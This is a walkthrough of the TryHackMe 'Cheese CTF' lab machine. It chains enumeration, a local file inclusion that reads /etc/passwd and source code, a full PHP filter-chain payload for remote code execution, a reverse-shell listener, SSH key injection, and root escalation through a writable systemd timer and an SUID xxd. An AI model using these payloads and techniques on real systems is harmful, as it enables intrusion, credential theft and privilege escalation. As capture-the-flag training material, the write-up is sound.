TryHackMe: Cheese CTF
Cheese CTF is a TryHackMe easy machine where it starts finding an LFI vulnerability leading to RCE, escalate our privileges through a writable authorized_keys for then to manipulate a .timer service unit to escalate to root.
🔗 Room Link: https://tryhackme.com/r/room/cheesectfv10
Enumeration
Nmap Scan
Starting with an nmap on 10.10.212.189
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kali)-[~/Desktop/TryHackMe/CheeseCTF]
└─# nmap 10.10.212.189 -T4 -oN cheese.nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-25 09:37 UTC
Nmap scan report for ip-10-10-212-189.eu-west-1.compute.internal (10.10.212.189)
Host is up (0.00070s latency).
PORT STATE SERVICE
1/tcp open tcpmux
3/tcp open compressnet
4/tcp open unknown
6/tcp open unknown
7/tcp open echo
9/tcp open discard
13/tcp open daytime
17/tcp open qotd
19/tcp open chargen
20/tcp open ftp-data
21/tcp open ftp
[...]
65000/tcp open unknown
65129/tcp open unknown
65389/tcp open unknown
MAC Address: 02:FA:1A:7B:56:F9 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 3.54 seconds
Looking at the results we can see that we have a port spoofing going on, the results won’t help us much.
Web Application - 80
Taking a look at http://10.10.212.189
we get a web app for a cheese shop.
Trying all available links on the top of the page we get a hit clicking on Login
that redirects us to a login page. Trying basic login credentials such as admin:admin
, root:root
, etc.. didn’t help us much as well.
Running a Gobuster
on the web app to look for files/directories we did find some.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(root㉿kali)-[~/Desktop/TryHackMe/CheeseCTF]
└─# gobuster dir -u http://10.10.212.189 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -x php,html -r -t 100 -b 404,403
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.212.189
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes: 404,403
[+] User Agent: gobuster/3.2.0-dev
[+] Extensions: php,html
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
2024/09/25 09:44:03 Starting gobuster in directory enumeration mode
===============================================================
/users.html (Status: 200) [Size: 377]
/orders.html (Status: 200) [Size: 380]
/. (Status: 200) [Size: 1759]
/login.php (Status: 200) [Size: 834]
/messages.html (Status: 200) [Size: 448]
/images (Status: 200) [Size: 1348]
/index.html (Status: 200) [Size: 1759]
Progress: 181999 / 189264 (96.16%)===============================================================
2024/09/25 09:44:17 Finished
===============================================================
Looking at each one of the files we found something interesting at /messages.html
, we did find a message that redirects us to http://10.10.212.189/secret-script.php?file=php://filter/resource=supersecretmessageforadmin
once we click on it.
Eploitation
Initial Foothold
Looking at the URL we have a Local File Inclusion (LFI)! having that in mind, we first start by looking for exisiting users on the box by leaking the /etc/passwd
file.
1
2
3
4
┌──(root㉿kali)-[~/Desktop/TryHackMe/CheeseCTF]
└─# curl http://10.10.212.189/secret-script.php?file=/etc/passwd -s | grep sh$
root:x:0:0:root:/root:/bin/bash
comte:x:1000:1000:comte:/home/comte:/bin/bash
We did find 2, root and comte next thing we did is to leak the /login.php
source code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
┌──(root㉿kali)-[~/Desktop/TryHackMe/CheeseCTF]
└─# curl http://10.10.212.189/secret-script.php?file=php://filter/convert.base64-encode/resource=/var/www/html/login.php -s | base64 -d
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login Page</title>
<link rel="stylesheet" href="login.css">
</head>
<body>
<div class="login-container">
<h1>Login</h1>
<form method="POST">
<div class="form-group">
<label for="username">Username</label>
<input type="text" id="username" name="username" required>
</div>
<div class="form-group">
<label for="password">Password</label>
<input type="password" id="password" name="password" required>
</div>
<button type="submit">Login</button>
</form>
</div>
<?php
// Replace these with your database credentials
$servername = "localhost";
$user = "comte";
$password = "[REDACTED]";
$dbname = "users";
// Create a connection to the database
$conn = new mysqli($servername, $user, $password, $dbname);
// Check the connection
if ($conn->connect_error) {
echo $conn->connect_error;
die("Connection failed: " . $conn->connect_error);
}
// Handle form submission
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$username = $_POST["username"];
$pass = $_POST["password"];
function filterOrVariations($input) {
//Use case-insensitive regular expression to filter 'OR', 'or', 'Or', and 'oR'
$filtered = preg_replace('/\b[oO][rR]\b/', '', $input);
return $filtered;
}
$filteredInput = filterOrVariations($username);
//echo($filteredInput);
// Hash the password (you should use a stronger hashing algorithm)
$hashed_password = md5($pass);
// Query the database to check if the user exists
$sql = "SELECT * FROM users WHERE username='$filteredInput' AND password='$hashed_password'";
$result = $conn->query($sql);
$status = "";
if ($result->num_rows == 1) {
// Authentication successful
$status = "Login successful!";
header("Location: secret-script.php?file=supersecretadminpanel.html");
exit;
} else {
// Authentication failed
$status = "Login failed. Please check your username and password.";
}
}
// Close the database connection
$conn->close();
?>
<div id = "status"><?php echo $status; ?></div>
</body>
</html>
We found database credentials but we couldn’t do much with them. Next thing we thought of is getting Remote Code Execution (RCE) through the PHP Wrappers. After trying some payloads none of them worked so we decided to look for more over the internet and we found this Github Repository that lists many payloads we could use and we got one that works!
1
2
3
┌──(root㉿kali)-[~/Desktop/TryHackMe/CheeseCTF]
└─# curl "http://10.10.212.189/secret-script.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd" -s | strings
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Setting up a reverse shell, URL-encode it we did manage to get a shell.
1
2
3
4
5
6
7
┌──(root㉿kali)-[~/Desktop/TryHackMe/CheeseCTF]
└─# nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.205.91] from (UNKNOWN) [10.10.212.189] 39928
bash: cannot set terminal process group (844): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cheesectf:/var/www/html$
Lateral Movement - Comte
Looking for any priv escalation vectors we did find something interesting and odd at the same time. Grabbing Linpeas
and running it on the target machine we did find an authorized_keys
file on comte with write permission so we could insert our public key in there and get a shell through ssh
.
1
2
3
4
5
6
www-data@cheesectf:/var/www/html$ ls -la /home/comte/.ssh/authorized_keys
ls -la /home/comte/.ssh/authorized_keys
-rw-rw-rw- 1 comte comte 0 Mar 25 2024 /home/comte/.ssh/authorized_keys
www-data@cheesectf:/var/www/html$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDA9e1/Y/dXlrzqk/vsVzHYO0W49QlJ3kiKxKMp6e17XPUSWS81qkL/Pl5mWL1GOWukZxpfV6vpgrT/QbtuPKBiB92vrZUoXMKzUwr+XsfGINkx9SZ/xajwJeTvUgy57knjYs3Tzjw0tbZaHfEyUui63aidrrx8nDGSG6tidz6QOsCsG3xJkoA3/AkXQEcpZIapKA1WDQ9U3/vlPNwH1LlqBe5kEfzmhiws7z9YRJtU6X/NSaYfwPwAiaqopHKLcQJQR8xHX4+wH9WpE9p5TC4+nH7PSlLKdTB0EKG1zIWCuDV3wO4ce8W2shushK0ZtEkOhKRWNJM2oDK+sK7f3sz0nxVJ8r9xW926RD8kHd9v2OvNFSWd3Y0+v4dIL+IdvEg8Ft3a8nYrrMIWn/14Idb7bCNwluHsWZJYjyG2YIeRJjzgD4kPwrlEm83RmOVnAoB1/61G9FEIMSGWBD7EiTIYGVNwCNta53lz9OMmcJ/q7StlqrnOlN/9R3/J2IdLcVU= root@kali' > /home/comte/.ssh/authorized_keys
<LcVU= root@kali' > /home/comte/.ssh/authorized_keys
www-data@cheesectf:/var/www/html$
Connecting using ssh
to comte we were able to log in without password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/.ssh]
└─# ssh comte@10.10.212.189
The authenticity of host '10.10.212.189 (10.10.212.189)' can't be established.
ED25519 key fingerprint is SHA256:nWj+UMtYHumOMJDU95t5EEf4vdpEikmyKCDmfnCcYF0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.212.189' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-174-generic x86_64)
[...]
Last login: Thu Apr 4 17:26:03 2024 from 192.168.0.112
comte@cheesectf:~$ ls
snap user.txt
comte@cheesectf:~$
Privilege Escalation - Root
Once on the box on a stable shell, we started looking for any vectors to get root. Looking at the sudo permissions we did find quite some.
1
2
3
4
5
6
7
8
9
10
comte@cheesectf:~$ sudo -l
User comte may run the following commands on cheesectf:
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) NOPASSWD: /bin/systemctl restart exploit.timer
(ALL) NOPASSWD: /bin/systemctl start exploit.timer
(ALL) NOPASSWD: /bin/systemctl enable exploit.timer
comte@cheesectf:~$ ls -la /etc/systemd/system/exploit.*
-rw-r--r-- 1 root root 141 Mar 29 15:36 /etc/systemd/system/exploit.service
-rwxrwxrwx 1 root root 109 Sep 25 10:46 /etc/systemd/system/exploit.timer
comte@cheesectf:~$
So we have a .timer unit that we can manipulate and read/modify/execute. Timers are, according to Hacktricks, systemd unit files whose name ends in .timer that control .service files or events. Timers can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously.
Looking at the service to see what it does and it’s copying the xxd
binary to /opt
and setting an SUID on it as well as making it executable.
1
2
3
4
5
6
7
comte@cheesectf:~$ cat /etc/systemd/system/exploit.service
[Unit]
Description=Exploit Service
[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"
Running the commands using sudo from sudo -l
will give us an error.
1
2
Failed to start exploit.timer: Unit exploit.timer has a bad unit file setting.
See system logs and 'systemctl status exploit.timer' for details.
This is due to the OnBootSec value not being there and mentioned which defines a timer relative to when the machine was booted up, setting it to 1 for example will make the command work.
1
2
3
4
5
6
7
8
9
[Unit]
Description=Exploit Timer
[Timer]
OnBootSec=1
Unit=exploit.service
[Install]
WantedBy=timers.target
Once we start the timer using sudo /bin/systemctl start exploit.timer
and check /opt
we can see the xxd binary there being executable and having an SUID on. Using that to send our public key to root’s authorized_keys
.
1
2
3
4
5
6
comte@cheesectf:~$ ls -la /opt
total 28
drwxr-xr-x 2 root root 4096 Sep 25 10:45 .
drwxr-xr-x 19 root root 4096 Sep 27 2023 ..
-rwsr-sr-x 1 root root 18712 Sep 25 10:45 xxd
comte@cheesectf:~$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDA9e1/Y/dXlrzqk/vsVzHYO0W49QlJ3kiKxKMp6e17XPUSWS81qkL/Pl5mWL1GOWukZxpfV6vpgrT/QbtuPKBiB92vrZUoXMKzUwr+XsfGINkx9SZ/xajwJeTvUgy57knjYs3Tzjw0tbZaHfEyUui63aidrrx8nDGSG6tidz6QOsCsG3xJkoA3/AkXQEcpZIapKA1WDQ9U3/vlPNwH1LlqBe5kEfzmhiws7z9YRJtU6X/NSaYfwPwAiaqopHKLcQJQR8xHX4+wH9WpE9p5TC4+nH7PSlLKdTB0EKG1zIWCuDV3wO4ce8W2shushK0ZtEkOhKRWNJM2oDK+sK7f3sz0nxVJ8r9xW926RD8kHd9v2OvNFSWd3Y0+v4dIL+IdvEg8Ft3a8nYrrMIWn/14Idb7bCNwluHsWZJYjyG2YIeRJjzgD4kPwrlEm83RmOVnAoB1/61G9FEIMSGWBD7EiTIYGVNwCNta53lz9OMmcJ/q7StlqrnOlN/9R3/J2IdLcVU= root@kali' | xxd | /opt/xxd -r - /root/.ssh/authorized_keys
Connecting to root using ssh
we were able to retrieve the root flag and root the box!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(root㉿kali)-[~]
└─# ssh root@10.10.212.189
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-174-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 25 Sep 2024 11:04:36 AM UTC
System load: 0.32 Processes: 148
Usage of /: 31.2% of 18.53GB Users logged in: 1
Memory usage: 10% IPv4 address for ens5: 10.10.212.189
Swap usage: 0%
* Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
47 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Apr 4 17:21:43 2024
root@cheesectf:~# ls
root.txt snap
root@cheesectf:~#